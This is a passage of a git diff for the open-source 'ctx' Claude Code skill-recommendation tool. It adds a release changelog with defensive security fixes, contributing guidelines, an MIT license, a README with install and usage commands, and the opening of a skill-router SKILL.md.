stale count reference across +README + docs + graph/README had drifted from the shipped tarball +(some said 2,211/642K, others 2,235/448K, community count varied +between 93 and 95). Single sweep + tightened `update_repo_stats` +regex to match "N nodes and N edges" phrasing the old regex missed. + +### Graph: final shipped state + +| Metric | v0.6.0 | v0.6.1 | +|---|---:|---:| +| Nodes | 2,235 | **2,253** | +| Skills | 1,789 | **1,789** | +| Agents | 446 | **464** | +| Edges | 448,799 | **454,719** | +| Communities | 95 | **93** | +| Avg degree | 414.8 | **416.6** | +| Max degree | 1,144 | **1,152** | +| Skill↔agent cross-edges | 191,770 | **195,226** | + +### Added + +- **1 skill + 18 agents** from `0xNyk/council-of-high-intelligence`: + `council` (orchestrator) + `council-{ada, aristotle, aurelius, + feynman, kahneman, karpathy, lao-tzu, machiavelli, meadows, munger, + musashi, rams, socrates, sun-tzu, sutskever, taleb, torvalds, + watts}`. Every one passed the intake gate after a minimal H1 + transform that preserved the original `## Identity` body. + +### Fixed + +- **README + docs stale number drift**: 12 locations across README, + graph/README, and 5 docs pages had references to the v0.5.x stale + bundle numbers (2,211/642K/865/952/1,768/443). Single audit pass + updates all to the current live tarball (2,253/454,719/93/956/ + 1,789/464). +- **`update_repo_stats` regex coverage**: added patterns for + "N nodes and N edges" (missed by the old "N nodes, N edges, N + communities" regex) plus the Python example comment form + "# N nodes, N edges". Any future README sentence using the "and" + connector will auto-refresh correctly. +- **Cytoscape rendering verified live**: `/api/graph/cloud-architect.json` + returns 60 nodes / 59 edges with sensible edge-weight-ranked + neighbors (database-admin, hybrid-cloud-architect, + terraform-engineer all at weight 6 sharing automation+azure+security + tags). The `/graph?slug=` HTML page embeds cytoscape.js from + CDN with the initial slug JSON-encoded and the tap→/wiki/ + navigation wired. + +### Known limitation carried from v0.6.0 + +Graph rebuild regenerates from the **live wiki**, not from a pinned +baseline. If someone else also re-graphifies locally with slightly +different wiki content, their edge count will differ from the +shipped tarball's. The `update_repo_stats` tarball-first source of +truth (v0.5.1) keeps README honest, but post-install users who +re-graphify will see their own numbers. Documented in `graph/README.md`. + +[0.6.1]: https://github.com/stevesolun/ctx/releases/tag/v0.6.1 + +## [0.6.0] — 2026-04-20 + +Harvested 11 upstream Claude Code / context-management / token-optimizer +repos and ingested their skills + agents through our intake gate into +the LLM wiki. Every candidate that landed passed the gate's structural +checks (frontmatter name, body H1, minimum body length, no duplicate +embedding) and was rendered in our canonical wiki format (YAML +frontmatter with tags / use_count / last_used / status + Overview + +Tags + Obsidian `[[wikilinks]]` to related skills). + +### Added + +- **+20 truly new skills** ingested and vetted: + `build-graph`, `caveman-compress`, `caveman-help`, `compress`, + `context-mode`, `context-mode-ops`, `ctx-doctor`, `ctx-insight`, + `ctx-purge`, `ctx-stats`, `ctx-upgrade`, `fleet-auditor`, + `review-delta`, `review-pr`, `rtk-tdd`, `rtk-triage`, `tdd-rust`, + `token-coach`, `token-dashboard`, `token-optimizer`. +- **+3 new agents**: `rtk-testing-specialist`, `rust-rtk`, + `system-architect`. +- **3 existing pages refreshed** with intake-vetted replacements + (`design-patterns`, `issue-triage`, `pr-triage`). +- **`graph/wiki-graph.tar.gz`** re-archived with the new entity pages: + **1,788 skills · 446 agents** (was 1,768 / 443 in v0.5.x). + +### Harvest sources + +| Upstream repo | Accepted | Rejected | +|---|---:|---:| +| alexgreensh/token-optimizer | 4 skills | 0 | +| juliusbrussee/caveman | 3 skills | 3 (missing H1) | +| mksglu/context-mode | 7 skills | 0 | +| tirth8205/code-review-graph | 2 skills | 5 (missing H1) | +| rtk-ai/rtk | 7 skills + 3 agents | 4 (frontmatter missing `name:`) + 4 (dup agents) | +| russelleNVy/three-man-team | 0 | 3 (dup agents) | +| drona23/claude-token-efficient | 0 | 1 (dup agent) | +| mibayy/token-savior, nadimtuhin, ooples, zilliztech | 0 | (README-only, no SKILL.md/agent files) | + +### Intake-gate rejections (preserved for reference) + +- `BODY_MISSING_H1` (9 skills): `caveman`, `caveman-commit`, + `caveman-review`, `debug-issue`, `explore-codebase`, + `refactor-safely`, `review-changes` + 2 others. +- `FRONTMATTER_FIELD_MISSING_NAME` (4 skills): `performance`, + `pr-review`, `repo-recap`, `security-guardian`, `ship`. +- Duplicate-agent short-circuit (6): `architect`, `builder`, + `code-reviewer`, `debugger`, `reviewer`, `technical-writer` — + already installed in the wiki; intake gate correctly skipped. + +### Fixed + +- **Graph sparsity regression** (`src/wiki_graphify.py`): the + `DENSE_TAG_THRESHOLD` constant was `20`, which silently dropped + every tag that appeared on more than 20 nodes. On a wiki where + `python`, `frontend`, `security`, and `testing` each tag hundreds + of entities, this collapsed the graph from the canonical 642,468 + edges down to 861 on every rebuild. Bumped to **500** (now pinned + by `src/tests/test_wiki_graphify_density.py`) and added + **slug-token pseudo-tags** — e.g. the slug `fastapi-pro` + contributes an implicit `fastapi` token so skills that share a + topic keyword get connected even when their explicit tags don't + overlap. Stop-word filter keeps noise tokens (`skill`, `agent`, + `pro`, `core`, etc.) out of the index. +- **Multi-line YAML list parsing** (`src/wiki_utils.py`): + `parse_frontmatter` only handled inline `tags: [a, b, c]` lists; + the block form + ```yaml + tags: + - python + - frontend + ``` + returned an empty string, silently invalidating every real wiki + entity page (all 2,234 of them use the block form). Extended the + parser to collect `- item` lines following an empty-value key. + +### Graph: final shipped state + +| Metric | v0.5.x | v0.6.0 | +|---|---:|---:| +| Nodes | 2,211 | **2,235** | +| Edges | 861 (effective; bundle had 642K stale) | **448,799** | +| Communities | 2,110 (mostly singletons) | **95** | +| Avg degree | <1 | **414.8** | +| Max degree | 40 | **1,144** | +| Skill↔agent cross-edges | — | **191,770** | +| Isolated nodes | 390+ | **71** | + +The full recommendation pipeline can now walk edges from a detected +stack signal (e.g. `fastapi`) to installed agents (`code-reviewer`, +`test-automator`) via shared-tag and slug-token pseudo-edges. Verified +via `ctx-monitor`'s `/graph?slug=` view: every +tag-heavy entity now lights up its neighborhood with 200+ edges on +average. + +[0.6.0]: https://github.com/stevesolun/ctx/releases/tag/v0.6.0 + +## [0.5.1] — 2026-04-20 + +Point release. Same day as the GA cut, issued to correct one +behavior: the pre-commit stats hook was silently rewriting README +numbers from the user's *live* `~/.claude/skill-wiki/` — which can be +a locally-rebuilt sparse graph — rather than from the shipped +`graph/wiki-graph.tar.gz`. The tag `v0.5.0` therefore pointed at a +commit whose README showed the user's local 885-edge rebuild instead +of the canonical 642,468-edge shipped graph. + +### Fixed + +- **`src/update_repo_stats.py` source of truth**: the stats refresher + now reads node/edge/skill/agent/community counts from + `graph/wiki-graph.tar.gz` first (the pinned release asset), and + only falls back to `~/.claude/skill-wiki/` when the tarball is + absent. Counts no longer drift across developer machines. +- **README badges + tagline**: restored the authoritative numbers + (1,768 skills · 443 agents · 2,211 nodes · 642K edges · 865 + communities) that the v0.5.0 commit accidentally clobbered. + +## [0.5.0] — 2026-04-20 + +First stable release. MIT-licensed, CI-matrixed (ubuntu-latest + +windows-latest × Python 3.11/3.12), **1,360 tests passing**, installable +via `pip install claude-ctx` with 10 console scripts on PATH. + +### Highlights + +- **Pre-built knowledge graph** (`graph/wiki-graph.tar.gz`, 11.7 MB + compressed): **2,211 nodes** (1,768 skills + 443 agents), **642,468 + edges**, **865 communities**, 61 auto-generated concept pages, 952 + converted micro-skill pipelines, Obsidian-compatible vault config. +- **Live dashboard** (`ctx-monitor serve` → `http://127.0.0.1:8765/`): + six-card stat grid home, currently-loaded-skills view with load/unload + buttons, Cytoscape graph explorer (`/graph?slug=…`), LLM-wiki entity + browser (`/wiki/`), filterable skills card grid with left + sidebar, session timeline, audit-log viewer, SSE live event stream. +- **Unified audit log** (`~/.claude/ctx-audit.jsonl`): append-only, + rotates at 25 MB, 24 canonical event types covering the full + skill/agent lifecycle from added → loaded → score_updated → + archived → deleted. +- **Graph load-bearing on recommendations** (`resolve_skills.py`): + matrix-matched skills seed a graph walk that adds 1-hop neighbors + scored by edge weight. On a trivial FastAPI+SQLAlchemy+pytest + repo the manifest now loads 14 relevant skills (fastapi-pro, + async-python-patterns, python-pro, test-automator, + backend-security-coder, etc.) with mixed `fuzzy match` and + `graph neighbor of …` reasons. Previous releases returned 1. +- **One-command setup**: `ctx-init --hooks` creates the standard + `~/.claude/` tree, seeds the five starter toolboxes, and + optionally injects the PostToolUse + Stop hooks into + `~/.claude/settings.json` — replacing the legacy `install.sh` flow + for pip-installed users. + +### Added + +- **Console scripts**: `ctx-init`, `ctx-install-hooks`, `ctx-monitor`, + `ctx-scan-repo`, `ctx-skill-quality`, `ctx-skill-health`, + `ctx-toolbox`, `ctx-lifecycle`, `ctx-skill-add`, + `ctx-wiki-graphify`. +- **`src/ctx_audit_log.py`** — concurrent-safe append-only audit log + with session attribution, threading lock for in-process safety, + `rotate_if_needed(max_bytes=25MB)` called on every `session.ended`. +- **`src/ctx_monitor.py`** — stdlib-only `http.server` dashboard + (no Flask/Starlette dep). Cytoscape.js loaded from unpkg on the + `/graph` route. Binds to 127.0.0.1 by default; same-origin check + on POST endpoints; slug allowlist regex gates all mutation. +- **`src/ctx_init.py`** — idempotent bootstrap replacing install.sh. + Opt-in `--hooks` and `--graph` flags so the command never mutates + `~/.claude/settings.json` or runs a multi-minute graph build + without explicit consent. +- **Pre-built wiki** shipped as `graph/wiki-graph.tar.gz`: + `entities/skills/*.md` (1,768), `entities/agents/*.md` (443), + `concepts/*.md` (61), `converted/*/` (952), full + `graphify-out/graph.json` + `communities.json`, catalog, + `.obsidian/` vault config. +- **Playbooks** in `docs/`: + - `playbook-real-world.md` — end-to-end PCI-fintech checkout scenario + exercising scan → suggest → load → toolbox council → custom + skill_add → lifecycle archive → KPI render. + - `playbook-live-load-unload.md` — 7-step verification that the + observe → suggest → record → score pipeline is live. Verified in + **5.86 s** end-to-end. + - `playbook-random-load-unload.md` — full lifecycle: pick a random + never-loaded skill, surface via KEYWORD_SIGNALS, load, force + Stop-hook rescore, wait for staleness, queue-for-unload, unload, + verify via `/session/` dashboard timeline. + +### Fixed (security — Strix deep scan audit) + +- **HIGH — path traversal in `src/import_strix_skills.py`**: manifest + `source_path` + `category` now validated against a strict allowlist + regex and containment-checked via `Path.resolve()` + `relative_to()` + against `IMPORT_ROOT` + `target_dir`. +- **HIGH — backup config path traversal in `src/backup_config.py`**: + `trees[].src` / `trees[].dest` reject `..`, absolute paths, Windows + drive letters, and UNC shares. Malformed entries logged to stderr + and skipped, not silently replaced with defaults. +- **HIGH — git textconv RCE in `src/ctx_lifecycle.py`**: + `_git_diff_preview` now invokes `git log -p` with + `--no-textconv`, `--no-ext-diff`, `-c diff.external=`, and + `-c core.attributesfile=os.devnull` so a hostile repo's + `.gitattributes` can't trigger arbitrary command execution. +- **LOW — `usage_tracker.py --wiki` flag ignored**: the override + now actually threads through `update_skill_page` + `append_wiki_log` + instead of silently writing to the default wiki. + +### Fixed (correctness) + +- **NetworkX 'links' vs 'edges' schema** (`resolve_graph.py`, + `wiki_visualize.py`, `context_monitor.py`, `wiki_graphify.py`): + readers auto-detect the schema; writer pins `edges="edges"` going + forward. The 642K-edge graph had been silently returning 0 edges + on every consumer since the NetworkX 3.x upgrade. +- **Stop-hook schema wrapper** (`src/inject_hooks.py`): + `quality_on_session_end.py` was registered flat and never + auto-fired on session close. Now wrapped in the `{"hooks":[…]}` + form Claude Code expects. +- **`_set_frontmatter_field` replace-only** (`src/usage_tracker.py`): + silently no-op'd when the field was missing. `session_count` + never persisted on wiki pages that didn't pre-ship with it, so + the staleness gate at `session_count ≥ STALE_THRESHOLD` never + fired. Now inserts missing fields into the frontmatter block. +- **`skill_unload` one-sided event log** (`src/skill_unload.py`): + `unload_from_session` now emits an `unload` line to + `skill-events.jsonl` + a `skill.unloaded` audit row; previously + loads were recorded but unloads weren't. +- **`skill.score_updated` audit rows missing session_id**: + Stop hook now exports `CTX_SESSION_ID` before invoking the + recompute subprocess so the dashboard per-session timeline shows + the middle event of the load → score_updated → unload triad. +- **CI flake on Windows** (`src/_fs_utils.py`): concurrent-writer + retry bumped from 3 × 50ms to 10 × 50ms to absorb AV/indexer + lock contention on windows-latest CI runners. +- **Graph orphaned from recommendations** (`src/resolve_skills.py`): + added fuzzy installed-skill fallback + `resolve_by_seeds` graph + walk with a 1.5 edge-weight noise floor. Manifest now contains + real neighbors instead of `1 load + 1576 unload + 2 warnings`. +- **`context_monitor.KEYWORD_SIGNALS`** extended with `stripe`, + `pci`, `payment`, `postgres`/`psycopg*`/`asyncpg`, `mongodb`, + `pydantic`, and more — fintech/payments projects now fire + pending-skills suggestions. +- **`scan_repo` framework detection** extended across + `stripe`/`paypal`/`plaid` payment deps, + `psycopg*`/`asyncpg`/`mongodb`/`pymongo` datastores, + `pydantic`/`zod`/`yup` validation, and `pytest`/`jest`/`vitest` + from dev-deps (no longer requires a dedicated config file). +- **`scan_repo --output` mkdir-p**: was raising `FileNotFoundError` + when the parent directory didn't exist. +- **`ctx_lifecycle` Windows UnicodeEncodeError**: `main()` now + reconfigures `sys.stdout`/`sys.stderr` to UTF-8 so arrows and + other Unicode in transition descriptions don't crash the cp1252 + Windows console. +- **`kpi_dashboard` `.hook-state.json` crash**: the sidecar + iteration now skips internal dotfiles so the strict slug + validator doesn't get fed a `.hook-state` string. +- **`_trigger_matches` Linux-side Windows path normalization** + (`src/toolbox_hooks.py`): now replaces `\\` with `/` unconditionally, + not gated on `os.sep` which was a no-op on Linux runners. +- **Positional slugs for `recompute`** (`src/skill_quality.py`): + `ctx-skill-quality recompute python-patterns` now works; the + subparser was flag-only before. +- **Toolbox templates packaged** (`src/toolbox.py`): all five + starter templates embedded inline so `ctx-toolbox init` seeds + them from the installed wheel (previously the `docs/toolbox/templates/` + directory was not bundled, so init produced `[warn] Template not + found` x 5). + +### Changed + +- **Package name**: `ctx-skill-quality` → `claude-ctx`. PyPI's `ctx` + namespace is a post-incident tombstone, so `claude-ctx` is the + canonical install name. `pip install claude-ctx` is the only + supported install path. +- **Dashboard UI** (`ctx-monitor`): home page rebuilt from a near-empty + placeholder into a six-card stat grid + two-column session/audit + panels + grade pills that render even with zero data. +- **`/skills` page**: table → responsive card grid with a left filter + sidebar (text search, grade checkboxes, subject_type toggles, + hide-floored). Each card links to `/skill/` sidecar detail, + `/wiki/` entity page, and `/graph?slug=` neighborhood. +- **`resolve_skills.py`** is now load-bearing on the graph: matrix + → fuzzy fallback → graph-walk augmentation happens in that order, + each stage optional. + +### Migration from 0.4.x / pre-PyPI + +- Replace `./install.sh python` with `pip install claude-ctx && + ctx-init --hooks`. +- Replace `python src/.py` invocations with the `ctx-` + console script (see `pyproject.toml [project.scripts]`) or + `python -m `. +- Existing `~/.claude/skill-wiki/graphify-out/graph.json` files in + the NetworkX 2.x "links" schema load transparently — readers auto- + detect. New builds pin `edges="edges"`. + +### Release-candidate history + +Between the rc1 internal review (2026-04-19) and this GA, ten public +release candidates were cut and published to PyPI: rc1 (broken wheel, +superseded), rc2 (wheel fix — 55 runtime modules), rc3 (positional +slugs + toolbox templates), rc4 (graph wired into resolve_skills + +CI flake fix), rc5 (stack-detection breadth + playbook fixes), rc6 +(three Strix HIGH security patches), rc7 (pipeline fixes + +vuln-0004 + audit log), rc8 (`ctx-monitor` + `ctx-init`), rc9 (three +load/unload bugs caught by the random-load playbook), rc10 (live +dashboard with load/unload POST actions + `/logs`), rc11 (rich home ++ `/graph` + `/wiki` + `/skills` sidebar filter). + +## [0.5.0-rc1] — 2026-04-19 + +First open-source release candidate. MIT-licensed, CI-matrixed, and +hardened against the review findings from an internal CTO+CEO council +pass. Full test suite: **1316 passed, 2 skipped**. + +### Added + +- `LICENSE` — MIT. +- `pyproject.toml` — installable via `pip install -e .` with optional + `[embeddings]` (sentence-transformers) and `[dev]` (pytest/mypy) extras. +- `.github/workflows/test.yml` — matrix CI: ubuntu-latest + windows-latest + × Python 3.11 + 3.12. +- `CONTRIBUTING.md`, issue templates, PR template. +- `src/_fs_utils.py` — canonical `atomic_write_text` / `atomic_write_bytes` + / `atomic_write_json` with Windows `PermissionError` retry. Replaces + 14 local copies across the codebase. +- `src/__init__.py` — `__version__ = "0.5.0-rc1"`. +- Hooks: `quality_on_session_end.py` registered as a Claude Code `Stop` + hook for incremental quality scoring. +- 112 new tests across security, performance benchmarks, JSON integrity, + atomic writes, and edge cases. + +### Fixed (security) + +- **RCE / shell injection** in `inject_hooks.py`: removed argv + interpolation of `$CLAUDE_TOOL_INPUT` / `$CLAUDE_TOOL_NAME`. Hooks now + consume tool input via `--from-stdin`. +- **Path traversal** in `skill_add_detector.py`: added + `validate_user_supplied_slug` (strict regex) plus `resolve` + + `relative_to` containment check. +- **Path escape** in `skill_telemetry.py`: events file is now anchored to + a `_TRUSTED_ROOT` / `trusted_root` kwarg. +- **Race on concurrent writes**: three files used a predictable + `path.with_suffix(".tmp")` temp filename that clobbers when two writers + race. Replaced with `tempfile.mkstemp` (unique per write). +- **Graph JSON integrity**: `resolve_graph.load_graph` now validates the + schema (`JSONDecodeError`, `NetworkXError`, missing `nodes`/`links`). +- **YAML injection** in `skill_add`: frontmatter is emitted via + `yaml.safe_dump`, not string-concatenated. +- **Markdown cell escaping** in `skill_add_detector` (`_escape_md_cell`). + +### Fixed (correctness) + +- **Latent bug** in `kpi_dashboard`: `len(bucket)` was being called on a + rebound loop variable rather than the category dict — fixed by + renaming to `cat_bucket`. +- `ctx_lifecycle.observe_score` guard against empty `computed_at`. +- `skill_quality.cmd_list` skips `.lifecycle.json` records. +- `ctx_lifecycle._apply_buckets` checks auto-apply before interactive + prompt. + +### Changed + +- **Package layout**: `[tool.setuptools] package-dir = {"" = "src"}`. + Removed 18 `sys.path.insert()` hacks across the source tree. +- **Incremental quality scoring**: `skill_quality._build_events_index` + converts `O(N·M)` JSONL re-scans into `O(N+M)` single-pass indexing. +- **Graph build**: `wiki_graphify` gained `DENSE_TAG_THRESHOLD=20` to + skip pathological cliques and a `node_to_community` reverse index + (`O(C²·members)` → `O(C·members)`). +- **Browser visualizer**: `wiki_visualize.js` replaces `NODES.find` in + hot loops with a `Map` (`O(E·N)` → `O(N+E)`). +- `QualitySink` protocol extracted in `skill_quality.py` with three + concrete sinks: `SidecarSink`, `WikiFrontmatterSink`, `WikiBodySink`. +- Slug validation tiers documented: `wiki_utils.SAFE_NAME_RE` (lenient, + legacy) vs `skill_add_detector.validate_user_supplied_slug` (strict, + new input). +- `sidecar_dir`, `skills_dir`, `agents_dir`, `wiki_dir` now read from + `src/config.json`. + +### Developer experience + +- `mypy --strict` clean on `_fs_utils.py`, `wiki_utils.py`. 28→0 mypy + errors cleared in `scan_repo.py`, `kpi_dashboard.py`, + `intent_interview.py`. +- `__all__` exports on `wiki_utils.py` and `_fs_utils.py`. +- 5 dead imports removed (`os`, `Mapping`, `timedelta` from + `ctx_lifecycle`; `Path` from `intake_gate`, `intake_pipeline`). + +[0.5.1]: https://github.com/stevesolun/ctx/releases/tag/v0.5.1 +[0.5.0]: https://github.com/stevesolun/ctx/releases/tag/v0.5.0 +[0.5.0-rc1]: https://github.com/stevesolun/ctx/releases/tag/v0.5.0-rc1 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000000000000000000000000000000000000..bfce33b6c959fc5572e88045f0883480a9e8215f --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,77 @@ +# Contributing to ctx + +Thank you for your interest in contributing. + +## Dev environment setup + +```bash +git clone https://github.com/stevesolun/ctx && cd ctx +python -m venv .venv +source .venv/bin/activate # Windows: .venv\Scripts\activate +pip install -e ".[dev]" +``` + +To also run the similarity/embedding tests (requires ~100 MB model download): + +```bash +pip install -e ".[dev,embeddings]" +``` + +## Running tests + +```bash +pytest -q # fast suite (skips integration) +pytest -q -m 'not integration' # same, explicit +pytest -q -m integration # embedding precision/recall tests +pytest --cov=src -q # with coverage report +``` + +## Code style + +Both **ruff** and **mypy** must pass before a PR is merged. + +```bash +ruff check src/ # linting +ruff format --check src/ # formatting check +mypy src/ # type checking +``` + +Fix formatting in one shot: + +```bash +ruff format src/ +ruff check --fix src/ +``` + +## Commit conventions + +This repo uses [Conventional Commits](https://www.conventionalcommits.org/): + +``` +feat: new feature +fix: bug fix +refactor: code restructuring without behaviour change +docs: documentation only +test: test additions or corrections +chore: maintenance (deps, CI, tooling) +perf: performance improvement +ci: CI/CD changes +``` + +Scope is optional but encouraged, e.g. `feat(intake): add fuzzy-match gate`. + +## Reporting bugs + +Open an issue at . Include: + +- Python version and OS +- Full traceback +- Minimal reproduction steps + +## Pull request process + +1. Fork the repo and create a feature branch from `main`. +2. Make your changes. Add or update tests — the CI gate requires the existing suite to pass. +3. Ensure `ruff` and `mypy` pass locally. +4. Open a PR against `main`. Fill in the PR template. +5. A maintainer will review and merge once CI is green. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..dae9762b8ad16b2de18b667c836081d1b073e15c --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Steve Solun + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000000000000000000000000000000000000..0e8fab41e3f60d874e041bdcdb7ffcf36f46c605 --- /dev/null +++ b/README.md @@ -0,0 +1,85 @@ +# ctx — Skill, Agent, MCP & Harness Recommendation + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) +[![Python 3.11+](https://img.shields.io/badge/Python-3.11+-green.svg)](https://python.org) +[![PyPI](https://img.shields.io/pypi/v/claude-ctx.svg)](https://pypi.org/project/claude-ctx/) +[![Tests](https://img.shields.io/badge/Tests-3341_collected-brightgreen.svg)](#) +[![Graph](https://img.shields.io/badge/Graph-104%2C066_nodes_/_1.0M_edges-red.svg)](graph/) +[![Docs](https://img.shields.io/badge/docs-MkDocs_Material-blue.svg)](https://stevesolun.github.io/ctx/) + +Watches what you develop, walks a graph that combines **92,815 skills, 464 agents, 10,786 MCP servers, and cataloged harnesses**, and recommends the right bundle on the fly. The skill count includes 1,969 curated ctx skills plus 90,846 remote-cataloged Skills.sh skill nodes with upstream `npx skills` install instructions, duplicate hints, and metadata-only quality/security signals. You approve what loads, installs, or gets adopted. Powered by a Karpathy LLM wiki with persistent memory that gets smarter every session. + +> **2026-04-29 updates.** +> - Added the curated `find-skills` workflow, backed by the canonical upstream install command `npx skills add https://github.com/vercel-labs/skills --skill find-skills`. +> - Shipped 90,846 Skills.sh entries as first-class remote-cataloged `skill` nodes inside `graph/wiki-graph.tar.gz` and as `graph/skills-sh-catalog.json.gz`. +> - Added security/cyber review warnings to entity update reviews and documented the graph/wiki update procedure. + +> **2026-04-27 updates.** +> - Imported [mattpocock/skills](https://github.com/mattpocock/skills) — 21 opinionated skills (TDD, domain-model, ubiquitous-language, github-triage, caveman compression mode, write-a-skill, plus 15 more) deployed under the `mattpocock-` prefix. See [`imported-skills/mattpocock/ATTRIBUTION.md`](imported-skills/mattpocock/ATTRIBUTION.md). +> - Imported [designdotmd.directory](https://designdotmd.directory) — 156 DESIGN.md files (visual identities: color tokens, typography, spacing, components + rationale) deployed under the `designdotmd-` prefix. These are reference designs an agent can read when asked to build a UI. See [`imported-skills/designdotmd/ATTRIBUTION.md`](imported-skills/designdotmd/ATTRIBUTION.md). +> - Skill total: 1,791 → **1,968** (+177). + +## Why it exists + +- **Discovery** — with 92K+ skill nodes, 460+ agents, 10K+ MCP servers, and cataloged harnesses, you can't possibly know which exist or which apply to your current work. +- **Context budget** — loading everything wastes tokens and degrades quality. You need the right 10–15 per session. +- **Skill rot** — skills you installed months ago and never used are cluttering context. Stale ones should be flagged automatically. + +## Install + +```bash +pip install claude-ctx +ctx-init # terminal wizard: hooks, graph, model, harness goal +ctx-init --wizard # force the same wizard from scripts/tests +ctx-init --model-mode skip # non-interactive setup for automation +ctx-init --model-mode custom --model openai/gpt-5.5 --goal "build a CAD agent" +``` + +Optional extras: `pip install "claude-ctx[embeddings]"` for the semantic backend, `pip install "claude-ctx[dev]"` for the test toolchain. + +### Pre-built knowledge graph (optional) + +A pre-built knowledge graph of 104,066 nodes and 1,031,011 edges ships as a tarball. The same tarball includes `external-catalogs/skills-sh/catalog.json`, 90,846 remote-cataloged Skills.sh skill pages under `entities/skills/skills-sh-*.md`, and the first cataloged harness page under `entities/harnesses/`. Extract to get a ready-to-use `~/.claude/skill-wiki/`: + +```bash +# after `git clone` — or download graph/wiki-graph.tar.gz from the GitHub release +mkdir -p ~/.claude/skill-wiki +tar xzf graph/wiki-graph.tar.gz -C ~/.claude/skill-wiki/ +``` + +> **Windows / Git-Bash / MSYS:** pass `--force-local` so `tar` doesn't read the `c:` in the path as a remote host: `tar --force-local xzf graph/wiki-graph.tar.gz -C ~/.claude/skill-wiki/`. Linux/macOS users can ignore. + +## Use + +After install, the `ctx` hooks integrate automatically with Claude Code's `PostToolUse` + `Stop` events. Typical flow: + +```bash +ctx-scan-repo --repo . # scan current repo and stack signals +ctx-scan-repo --repo . --recommend # include skill/agent/MCP/harness recommendations +ctx-agent-add --agent-path ./code-reviewer.md --name code-reviewer +ctx-harness-add --repo https://github.com/earthtojake/text-to-cad --tag cad +ctx-harness-install text-to-cad --dry-run # inspect before cloning/running anything +ctx-harness-install text-to-cad --update --dry-run +ctx-harness-install text-to-cad --uninstall --dry-run +ctx-skill-quality list # four-signal quality score for every skill +ctx-skill-quality explain python-patterns # drill into a single skill +ctx-skill-health dashboard # structural health + drift detection +ctx-toolbox run --event pre-commit # run a council on the current diff +ctx-monitor serve # local dashboard: http://127.0.0.1:8765/ +``` + +The **`ctx-monitor`** dashboard shows currently loaded skills, agents, and MCP servers with load/unload buttons, a cytoscape graph view (`/graph?slug=…`), the LLM-wiki entity browser (`/wiki/`), a filterable skills grid, a session timeline, an audit log viewer, and a live SSE event stream. Dashboard harness exposure is not yet present; harnesses are cataloged and recommended through the CLI/API surfaces. + +When `ctx-skill-add`, `ctx-agent-add`, `ctx-mcp-add`, or `ctx-harness-add` +finds an existing entity, ctx prints a benefits/risks update review and skips +replacement by default. Re-run with `--update-existing` to apply the catalog or +local asset update after review. + +Step-by-step entity onboarding: +**** + +Full docs, architecture, and every module: **** + +## License + +MIT — see [LICENSE](LICENSE). diff --git a/docs/SKILL.md b/docs/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..bbf10b24d3f87de0416901fee7c109fbc8aae50f --- /dev/null +++ b/docs/SKILL.md @@ -0,0 +1,690 @@ +--- +name: skill-router +description: "Repo-aware skill and plugin manager. Scans the user's active repository, identifies the tech stack, frameworks, and workflows in use, then loads ONLY the relevant skills, plugins, and MCP servers -- unloading everything else to keep the context clean. Maintains a persistent LLM Wiki catalog of all available skills, plugins, and marketplaces so decisions are informed and consistent across sessions. Use this skill whenever the user opens a project, switches repos, asks 'what skills do I need', mentions context bloat or slow responses, asks to manage/list/add/remove skills or plugins, or references their skill catalog/wiki. Also triggers on: 'scan my repo', 'what tools do I need for this project', 'clean up my skills', 'too many plugins loaded', 'optimize my context', or any repo-switch event." +--- + +# Skill Router + +Scan a repo. Know what it needs. Load only that. Maintain a wiki of everything available. + +## Problem + +Every skill, plugin, and MCP server loaded into context costs tokens and attention. +Most projects need 3-8 skills out of 30+. Loading all of them: +- Wastes context window on irrelevant instructions +- Causes skill misfires (wrong skill triggers for a task) +- Slows response time +- Creates conflicting instructions between skills + +## Architecture + +``` +skill-router/ +├── SKILL.md # This file -- orchestration logic +├── references/ +│ ├── stack-signatures.md # File/config patterns mapped to stack identifiers +│ ├── skill-stack-matrix.md # Which skills serve which stacks +│ └── marketplace-registry.md # Known marketplaces and how to query them +└── scripts/ + ├── scan_repo.py # Repo scanner -- outputs stack profile JSON + ├── resolve_skills.py # Maps stack profile to skill set + └── wiki_sync.py # Syncs scan results into the wiki +``` + +The skill router has two halves: +1. **The Scanner** -- analyzes a repo and produces a stack profile +2. **The Wiki** -- persistent catalog of all available skills/plugins/marketplaces, + maintained via the Karpathy LLM Wiki pattern + +## Session Startup (CRITICAL -- do this every time) + +When this skill activates, follow this sequence: + +### Step 1: Orient from the Wiki + +```bash +WIKI="${SKILL_ROUTER_WIKI:-$HOME/skill-wiki}" +if [ -d "$WIKI" ]; then + # Existing wiki -- orient first + cat "$WIKI/SCHEMA.md" + cat "$WIKI/index.md" + tail -30 "$WIKI/log.md" +else + # No wiki yet -- will initialize after first scan + echo "No skill wiki found. Will initialize on first scan." +fi +``` + +### Step 2: Scan the Active Repo + +```bash +python /path/to/scripts/scan_repo.py --repo "$REPO_PATH" --output /tmp/stack-profile.json +``` + +### Step 3: Resolve and Load + +```bash +python /path/to/scripts/resolve_skills.py \ + --profile /tmp/stack-profile.json \ + --wiki "$WIKI" \ + --available-skills /mnt/skills/ \ + --output /tmp/skill-manifest.json +``` + +### Step 4: Apply the Manifest + +Load skills in the manifest. Unload everything else. Report what changed. 